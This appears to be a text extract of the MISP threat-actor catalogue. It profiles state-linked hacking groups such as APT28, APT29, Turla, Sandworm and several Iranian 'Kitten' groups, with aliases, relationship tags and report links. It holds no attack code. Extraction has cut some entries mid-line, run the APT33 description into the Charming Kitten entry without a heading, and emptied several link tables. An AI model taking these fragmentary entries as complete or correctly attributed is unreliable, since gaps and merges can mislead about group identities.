- PLA Unit 69010

### Table 11126. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/the-icefog-apt-hits-us-targets-with-java-backdoor/58209/">https://securelist.com/the-icefog-apt-hits-us-targets-with-java-backdoor/58209/</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/icefog">https://www.cfr.org/interactive/cyber-operations/icefog</a></td>
</tr>
<tr>
<td><a href="https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf">https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf</a></td>
</tr>
</tbody>
</table>

### APT24

The Pitty Tiger group has been active since at least 2011. They have been seen using HeartBleed vulnerability in order to directly get valid credentials.

The tag is: `misp-galaxy:threat-actor="APT24"`

APT24 is also known as:

- PITTY PANDA
- G0011
- Temp.Pittytiger

View relationships graph

APT24 has relationships with:

- similar: `misp-galaxy:mitre-intrusion-set="PittyTiger - G0011"` with estimative-language:likelihood-probability="likely"

### Table 11127. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/targeted-attacks-on-french-company-exploit-multiple-word-vulnerabilities/">https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/targeted-attacks-on-french-company-exploit-multiple-word-vulnerabilities/</a></td>
</tr>
</tbody>
</table>
Roaming Tiger

The tag is: misp-galaxy:threat-actor="Roaming Tiger"

Roaming Tiger is also known as:

- BRONZE WOODLAND
- Rotten Tomato

Table 11128. Table References

Links

- https://unit42.paloaltonetworks.com/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/
- https://www.secureworks.com/research/threat-profiles/bronze-woodland

Beijing Group

The tag is: misp-galaxy:threat-actor="Beijing Group"

Beijing Group is also known as:

- SNEAKY PANDA
- Elderwood
- Elderwood Gang
- SIG22
- G0066

View relationships graph

Beijing Group has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Elderwood - G0066" with estimative-language:likelihood-probability="likely"

Table 11129. Table References

Links

- https://www.cfr.org/interactive/cyber-operations/sneaky-panda
RADIO PANDA

The tag is: misp-galaxy:threat-actor="RADIO PANDA"

RADIO PANDA is also known as:

• Shrouded Crossbow

APT.3102

The tag is: misp-galaxy:threat-actor="APT.3102"

Table 11130. Table References

Links


SAMURAI PANDA

The tag is: misp-galaxy:threat-actor="SAMURAI PANDA"

SAMURAI PANDA is also known as:

• PLA Navy
• Wisp Team

View relationships graph

SAMURAI PANDA has relationships with:

• similar: misp-galaxy:mitre-intrusion-set="APT18 - G0026" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:threat-actor="APT18" with estimative-language:likelihood-probability="likely"

Table 11131. Table References

Links

http://www.crowdstrike.com/blog/whois-samurai-panda/
IMPERSONATING PANDA

The tag is: misp-galaxy:threat-actor="IMPERSONATING PANDA"

APT20

We've uncovered some new data and likely attribution regarding a series of APT watering hole attacks this past summer. Watering hole attacks are an increasingly popular component of APT campaigns, as many people are more aware of spear phishing and are less likely to open documents or click on links in unsolicited emails. Watering hole attacks offer a much better chance of success because they involve compromising legitimate websites and installing malware intended to compromise website visitors. These are often popular websites frequented by people who work in specific industries or have political sympathies to which the actors want to gain access. In contrast to many other APT campaigns, which tend to rely heavily on spear phishing to gain victims, “th3bug” is known for compromising legitimate websites their intended visitors are likely to frequent. Over the summer they compromised several sites, including a well-known Uyghur website written in that native language.

The tag is: misp-galaxy:threat-actor="APT20"

APT20 is also known as:

- VIOLIN PANDA
- TH3Bug
- Crawling Taurus

Table 11132. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/crawling-taurus/">https://unit42.paloaltonetworks.com/atoms/crawling-taurus/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/insights/apt-groups">https://www.mandiant.com/resources/insights/apt-groups</a></td>
<td></td>
</tr>
</tbody>
</table>

TOXIC PANDA

A group targeting dissident groups in China and at the boundaries.

The tag is: misp-galaxy:threat-actor="TOXIC PANDA"

Table 11133. Table References
TEMPER PANDA

China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors. This threat actor targets prodemocratic activists and organizations in Hong Kong, European and international financial institutions, and a U.S.-based think tank.

The tag is: `misp-galaxy:threat-actor="TEMPER PANDA"`

TEMPER PANDA is also known as:

- Admin338
- Team338
- MAGNESIUM
- admin@338
- G0018

View relationships graph

TEMPER PANDA has relationships with:

- similar: `misp-galaxy:mitre-intrusion-set="admin@338 - G0018"` with estimative-language:likelihood-probability="likely"

### Table 11134. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html">https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html">https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/admin338">https://www.cfr.org/interactive/cyber-operations/admin338</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0018/">https://attack.mitre.org/groups/G0018/</a></td>
</tr>
</tbody>
</table>

### APT23

TrendMicro described Tropic Trooper in a 2015 report as: 'Taiwan and the Philippines have become the targets of an ongoing campaign called Operation TropicTrooper. Active since 2012, the attackers behind the campaign have set their sights on the Taiwanese government as well as a number of companies in the heavy industry. The same campaign has also targeted key Philippine military agencies.'
The tag is: misp-galaxy:threat-actor="APT23"

APT23 is also known as:

- PIRATE PANDA
- KeyBoy
- Tropic Trooper
- BRONZE HOBART
- G0081
- Red Orthrus

Table 1135. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/">https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/</a></td>
</tr>
<tr>
<td><a href="https://blog.lookout.com/titan-mobile-threat">https://blog.lookout.com/titan-mobile-threat</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0081/">https://attack.mitre.org/groups/G0081/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-hobart">https://www.secureworks.com/research/threat-profiles/bronze-hobart</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/insights/apt-groups">https://www.mandiant.com/resources/insights/apt-groups</a></td>
</tr>
</tbody>
</table>

**Flying Kitten**

Activity: defense and aerospace sectors, also interested in targeting entities in the oil/gas industry.

The tag is: misp-galaxy:threat-actor="Flying Kitten"

Flying Kitten is also known as:

- SaffronRose
- Saffron Rose
- AjaxSecurityTeam
- Ajax Security Team
• Group 26
• Sayad

View relationships graph

Flying Kitten has relationships with:

• similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="very-likely"
• similar: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"

Table 11136. Table References

Links

https://www.cfr.org/interactive/cyber-operations/saffron-rose

Cutting Kitten

One of the threat actors responsible for the denial of service attacks against U.S in 2012–2013. Three individuals associated with the group—believed to be have been working on behalf of Iran’s Islamic Revolutionary Guard Corps—were indicted by the Justice Department in 2016.

The tag is: misp-galaxy:threat-actor="Cutting Kitten"

Cutting Kitten is also known as:

• ITsecTeam
Charming Kitten

Charming Kitten (aka Parastoo, aka Newscaster) is an group with a suspected nexus to Iran that targets organizations involved in government, defense technology, military, and diplomacy sectors.

The tag is: `misp-galaxy:threat-actor="Charming Kitten"`

Charming Kitten is also known as:

- Newscaster
- Parastoo
- iKittens
- Group 83
- NewsBeef
- G0058

View relationships graph

Charming Kitten has relationships with:

- similar: `misp-galaxy:threat-actor="Flying Kitten"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:threat-actor="Rocket Kitten"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:threat-actor="Cleaver"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:threat-actor="OilRig"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:threat-actor="Clever Kitten"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:threat-actor="CHRYSENE"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:mitre-intrusion-set="Cleaver - G0003"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:msft-activity-group="Mint Sandstorm"` with estimative-
Our analysis reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013. We assess APT33 works at the behest of the Iranian government.

The tag is: `misp-galaxy:threat-actor="APT33"`

APT33 is also known as:
• APT 33
• Elfin
• MAGNALLIUM
• Refined Kitten
• HOLMIUM
• COBALT TRINITY
• G0064
• ATK35

View relationships graph

APT33 has relationships with:

• similar: misp-galaxy:mitre-intrusion-set="APT33 - G0064" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:microsoft-activity-group="Peach Sandstorm" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:mitre-ics-groups="APT33" with estimative-language:likelihood-probability="almost-certain"

Table 1139. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.trendmicro.com/trendlabs-security-intelligence/more-than-a-dozen-obfuscated-apt33-botnets-used-for-extreme-narrow-targeting/">https://blog.trendmicro.com/trendlabs-security-intelligence/more-than-a-dozen-obfuscated-apt33-botnets-used-for-extreme-narrow-targeting/</a></td>
</tr>
<tr>
<td><a href="https://www.brighttalk.com/webcast/10703/275683">https://www.brighttalk.com/webcast/10703/275683</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/cobalt-trinity">https://www.secureworks.com/research/threat-profiles/cobalt-trinity</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0064/">https://attack.mitre.org/groups/G0064/</a></td>
</tr>
<tr>
<td><a href="https://threatconnect.com/blog/research-roundup-activity-on-previoulsy-identified-apt33-domains/">https://threatconnect.com/blog/research-roundup-activity-on-previoulsy-identified-apt33-domains/</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/apt-33">https://www.cfr.org/interactive/cyber-operations/apt-33</a></td>
</tr>
<tr>
<td><a href="https://dragos.com/adversaries.html">https://dragos.com/adversaries.html</a></td>
</tr>
</tbody>
</table>

Magic Kitten

Earliest activity back to November 2008. An established group of cyber attackers based in Iran, who carried on several campaigns in 2013, including a series of attacks targeting political dissidents and those supporting Iranian political opposition.
The tag is: misp-galaxy:threat-actor="Magic Kitten"

Magic Kitten is also known as:

- Group 42
- VOYEUR

Table 11140. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Rocket Kitten**

Targets Saudi Arabia, Israel, US, Iran, high ranking defense officials, embassies of various target countries, notable Iran researchers, human rights activists, media and journalists, academic institutions and various scholars, including scientists in the fields of physics and nuclear sciences.

The tag is: misp-galaxy:threat-actor="Rocket Kitten"

Rocket Kitten is also known as:

- TEMP.Beanie
- Operation Woolen Goldfish
- Operation Woolen-Goldfish
- Thamar Reservoir
- Timberworm

**View relationships graph**

Rocket Kitten has relationships with:

- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="very-likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
Table 11141. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.clearskysec.com/thamar-reservoir/">http://www.clearskysec.com/thamar-reservoir/</a></td>
</tr>
<tr>
<td><a href="https://citizenlab.ca/2015/08/iran_two_factor_phishing/">https://citizenlab.ca/2015/08/iran_two_factor_phishing/</a></td>
</tr>
<tr>
<td><a href="https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5758557d-6e3a-4174-90f3-">https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5758557d-6e3a-4174-90f3-</a></td>
</tr>
<tr>
<td>fa92a712ec0b&amp;CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments</td>
</tr>
<tr>
<td><a href="https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/">https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/rocket-kitten">https://www.cfr.org/interactive/cyber-operations/rocket-kitten</a></td>
</tr>
</tbody>
</table>

Cleaver

A group of cyber actors utilizing infrastructure located in Iran have been conducting computer network exploitation activity against public and private U.S. organizations, including Cleared Defense Contractors (CDCs), academic institutions, and energy sector companies. This threat actor targets entities in the government, energy, and technology sectors that are located in or do business with Saudi Arabia.

The tag is: `misp-galaxy:threat-actor="Cleaver"`

Cleaver is also known as:

- Operation Cleaver
- Op Cleaver
- Tarh Andishan
- Alibaba
- TG-2889
- Cobalt Gypsy
View relationships graph

Cleaver has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Hazel Sandstorm" with estimative-language:likelihood-probability="likely"

Table 11142. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/operation-cleaver">https://www.cfr.org/interactive/cyber-operations/operation-cleaver</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations">https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0003/">https://attack.mitre.org/groups/G0003/</a></td>
</tr>
<tr>
<td><a href="https://xorl.wordpress.com/2021/05/06/iran-cyber-operations-groups/">https://xorl.wordpress.com/2021/05/06/iran-cyber-operations-groups/</a></td>
</tr>
</tbody>
</table>
Sands Casino

The tag is: `misp-galaxy:threat-actor="Sands Casino"`

Rebel Jackal

This is a pro-Islamist organization that generally conducts attacks motivated by real world events in which its members believe that members of the Muslim faith were wronged. Its attacks generally involve website defacements; however, the group did develop a RAT that it refers to as Fallaga RAT, but which appears to simply be a fork of the njRAT malware popular amongst hackers in the Middle East/North Africa region.

The tag is: `misp-galaxy:threat-actor="Rebel Jackal"`

Rebel Jackal is also known as:

• FallagaTeam

Viking Jackal

The tag is: `misp-galaxy:threat-actor="Viking Jackal"`

Viking Jackal is also known as:

• Vikingdom

APT28

The Sofacy Group (also known as APT28, Pawn Storm, Fancy Bear and Sednit) is a cyber espionage group believed to have ties to the Russian government. Likely operating since 2007, the group is known to target government, military, and security organizations. It has been characterized as an advanced persistent threat.

The tag is: `misp-galaxy:threat-actor="APT28"`

APT28 is also known as:

• Pawn Storm
• FANCY BEAR
• Sednit
• SNAKEMACKEREL
• Tsar Team
• TG-4127
• STRONTIUM
• Swallowtail
• IRON TWILIGHT
• Group 74
• SIG40
• Grizzly Steppe
• G0007
• ATK5
• Fighting Ursa
• ITG05
• Blue Athena
• TA422
• T-APT-12
• APT-C-20
• UAC-0028
• FROZENLAKE
• Sofacy

View relationships graph

APT28 has relationships with:

• similar: misp-galaxy:mitre-intrusion-set="APT28 - G0007" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:microsoft-activity-group="STRONTIUM" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:microsoft-activity-group="Forest Blizzard" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:360net-threat-actor="奇幻熊 - APT-C-20" with estimative-language:likelihood-probability="likely"

Table 11143. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
APT29

A 2015 report by F-Secure describe APT29 as: The Dukes are a well-resourced, highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making. The Dukes show unusual confidence in their ability to continue successfully compromising their targets, as well as in their ability to operate with impunity. The Dukes primarily target Western governments and related organizations, such as government ministries and agencies, political think tanks, and governmental subcontractors. Their targets have also included the governments of members of the Commonwealth of Independent States; Asian, African, and Middle Eastern governments; organizations associated with Chechen extremism; and Russian speakers engaged in the illicit trade of controlled substances and drugs. The Dukes are known to employ a vast arsenal of malware toolsets, which we identify as MiniDuke, CosmicDuke, OnionDuke, CozyDuke, CloudDuke, SeaDuke, HammerDuke, PinchDuke, and GeminiDuke. In recent years, the Dukes have engaged in apparently biannual large-scale spear-phishing campaigns against hundreds or even thousands of recipients associated with governmental institutions and affiliated organizations. These campaigns utilize a smash-and-grab approach involving a fast but noisy breakin followed by the rapid collection and exfiltration of as much data as possible. If the compromised target is discovered to be of value, the Dukes will quickly switch the toolset used and move to using stealthier tactics focused on persistent compromise and long-term intelligence gathering. This threat actor targets government ministries and agencies in the West, Central Asia, East Africa, and the Middle East; Chechen extremist groups; Russian organized crime; and think tanks. It is suspected to be behind the 2015 compromise of unclassified networks at the White House, Department of State, Pentagon, and the Joint Chiefs of Staff. The threat actor includes all of the Dukes tool sets, including MiniDuke, CosmicDuke, OnionDuke, CozyDuke, SeaDuke, CloudDuke (aka Minidionis), and HammerDuke (aka Hammertoss).

The tag is: misp-galaxy:threat-actor="APT29"

APT29 is also known as:

- Group 100
- COZY BEAR
- The Dukes
- Minidionis
- SeaDuke
- YTTRIUM
- IRON HEMLOCK
• Grizzly Steppe
• G0016
• ATK7
• Cloaked Ursa
• TA421
• Blue Kitsune
• ITG11
• BlueBravo

View relationships graph

APT29 has relationships with:

• similar: misp-galaxy:mitre-intrusion-set="APT29 - G0016" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:tool="SNOWYAMBER" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:tool="HALFRIG" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:tool="QUARTERRIG" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:microsoft-activity-group="Midnight Blizzard" with estimative-language:likelihood-probability="likely"

Table 1144. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://labsblog.f-secure.com/2015/09/17/the-dukes-7-years-of-russian-cyber-espionage/">https://labsblog.f-secure.com/2015/09/17/the-dukes-7-years-of-russian-cyber-espionage/</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html">https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/dukes">https://www.cfr.org/interactive/cyber-operations/dukes</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-hemlock">https://www.secureworks.com/research/threat-profiles/iron-hemlock</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0016">https://attack.mitre.org/groups/G0016</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/cloaked-ursa/">https://unit42.paloaltonetworks.com/atoms/cloaked-ursa/</a></td>
</tr>
<tr>
<td><a href="https://go.recordedfuture.com/hubfs/reports/cta-2023-0127.pdf">https://go.recordedfuture.com/hubfs/reports/cta-2023-0127.pdf</a></td>
</tr>
</tbody>
</table>
Turla

A 2014 Guardian article described Turla as: ‘Dubbed the Turla hackers, initial intelligence had indicated western powers were key targets, but it was later determined embassies for Eastern Bloc nations were of more interest. Embassies in Belgium, Ukraine, China, Jordan, Greece, Kazakhstan, Armenia, Poland, and Germany were all attacked, though researchers from Kaspersky Lab and Symantec could not confirm which countries were the true targets. In one case from May 2012, the office of the prime minister of a former Soviet Union member country was infected, leading to 60 further computers being affected, Symantec researchers said. There were some other victims, including the ministry for health of a Western European country, the ministry for education of a Central American country, a state electricity provider in the Middle East and a medical organisation in the US, according to Symantec. It is believed the group was also responsible for a much documented 2008 attack on the US Central Command. The attackers - who continue to operate - have ostensibly sought to carry out surveillance on targets and pilfer data, though their use of encryption across their networks has made it difficult to ascertain exactly what the hackers took.

Kaspersky Lab, however, picked up a number of the attackers searches through their victims emails, which included terms such as Nato and EU energy dialogue Though attribution is difficult to substantiate, Russia has previously been suspected of carrying out the attacks and Symantecs Gavin O’ Gorman told the Guardian a number of the hackers appeared to be using Russian names and language in their notes for their malicious code. Cyrillic was also seen in use.’

The tag is: misp-galaxy:threat-actor="Turla"

Turla is also known as:

- Snake
- VENOMOUS Bear
- Group 88
- Waterbug
- WRAITH
- Uroburos
- Pfinet
- TAG_0530
- KRYPTON
- Hippo Team
- Pacifier APT
- Popeye
- SIG23
- IRON HUNTER
- MAKERSMARK
- ATK13
- G0010
View relationships graph

Turla has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Turla - G0010" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT26" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Secret Blizzard" with estimative-language:likelihood-probability="likely"

Table 11145. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.circl.lu/pub/tr-25/">https://www.circl.lu/pub/tr-25/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/introducing-whitebear/81638/">https://securelist.com/introducing-whitebear/81638/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/the-epic-turla-operation/65545/">https://securelist.com/the-epic-turla-operation/65545/</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/turla">https://www.cfr.org/interactive/cyber-operations/turla</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/blog/research/67962/the-penquin-turla-2/">https://securelist.com/blog/research/67962/the-penquin-turla-2/</a></td>
</tr>
<tr>
<td><a href="https://www.kaspersky.com/blog/moonlight-maze-the-lessons/6713/">https://www.kaspersky.com/blog/moonlight-maze-the-lessons/6713/</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt-witchcoven.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt-witchcoven.pdf</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/analysis/publications/65545/the-epic-turla-operation/">https://securelist.com/analysis/publications/65545/the-epic-turla-operation/</a></td>
</tr>
<tr>
<td><a href="https://threatpost.com/linux-modules-connected-to-turla-apt-discovered/109765/">https://threatpost.com/linux-modules-connected-to-turla-apt-discovered/109765/</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/">https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/">https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/</a></td>
</tr>
<tr>
<td><a href="https://docs.broadcom.com/doc/waterbug-attack-group">https://docs.broadcom.com/doc/waterbug-attack-group</a></td>
</tr>
</tbody>
</table>
ENERGETIC BEAR

A Russian group that collects intelligence on the energy industry.

The tag is: misp-galaxy:threat-actor="ENERGETIC BEAR"

ENERGETIC BEAR is also known as:

- BERSERK BEAR
- ALLANITE
- CASTLE
- DYMALLOY
- TG-4192
- Dragonfly
- Crouching Yeti
- Group 24
View relationships graph

ENERGETIC BEAR has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Dragonfly - G0035" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Ghost Blizzard" with estimative-language:likelihood-probability="likely"

Table 11146. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://threatpost.com/energy-watering-hole-attack-used-lightsout-exploit-kit/104772/">https://threatpost.com/energy-watering-hole-attack-used-lightsout-exploit-kit/104772/</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/crouching-yeti">https://www.cfr.org/interactive/cyber-operations/crouching-yeti</a></td>
</tr>
<tr>
<td><a href="https://www.riskiq.com/blog/labs/energetic-bear/">https://www.riskiq.com/blog/labs/energetic-bear/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0035/">https://attack.mitre.org/groups/G0035/</a></td>
</tr>
</tbody>
</table>
Sandworm

This threat actor targets industrial control systems, using a tool called Black Energy, associated with electricity and power generation for espionage, denial of service, and data destruction purposes. Some believe that the threat actor is linked to the 2015 compromise of the Ukrainian electrical grid and a distributed denial of service prior to the Russian invasion of Georgia. Believed to be responsible for the 2008 DDoS attacks in Georgia and the 2015 Ukraine power grid outage

The tag is: misp-galaxy:threat-actor="Sandworm"

Sandworm is also known as:

- Quedagh
- VOODOO BEAR
- TEMP.Noble
- IRON VIKING
- G0034
- ELECTRUM
- TeleBots
- IRIDIUM
- Blue Echidna
- FROZENBARENTS
- UAC-0113

View relationships graph

Sandworm has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Sandworm Team - G0034" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="GreyEnergy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Seashell Blizzard" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-ics-groups="Sandworm" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:360net-threat-actor="沙虫 - APT-C-13" with estimative-language:likelihood-
Table 1147. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://dragos.com/blog/crashoverride/CrashOverride-01.pdf">https://dragos.com/blog/crashoverride/CrashOverride-01.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA17-163A">https://www.us-cert.gov/ncas/alerts/TA17-163A</a></td>
</tr>
<tr>
<td><a href="https://ics.sans.org/blog/2016/01/09/confirmation-of-a-coordinated-attack-on-the-ukrainian-power-grid">https://ics.sans.org/blog/2016/01/09/confirmation-of-a-coordinated-attack-on-the-ukrainian-power-grid</a></td>
</tr>
<tr>
<td><a href="https://ics.sans.org/blog/2015/12/30/current-reporting-on-the-cyber-attack-in-ukraine-resulting-in-power-outage">https://ics.sans.org/blog/2015/12/30/current-reporting-on-the-cyber-attack-in-ukraine-resulting-in-power-outage</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0034">https://attack.mitre.org/groups/G0034</a></td>
</tr>
<tr>
<td><a href="https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag">https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag</a></td>
</tr>
<tr>
<td><a href="https://dragos.com/adversaries.html">https://dragos.com/adversaries.html</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2017/01/05/killdisk-now-targeting-linux-demands-250k-ransom-cant-decrypt">https://www.welivesecurity.com/2017/01/05/killdisk-now-targeting-linux-demands-250k-ransom-cant-decrypt</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine">https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back">https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back</a></td>
</tr>
<tr>
<td><a href="https://cert.gov.ua/article/405538">https://cert.gov.ua/article/405538</a></td>
</tr>
</tbody>
</table>

**FIN7**

Groups targeting financial organizations or people with significant financial assets.

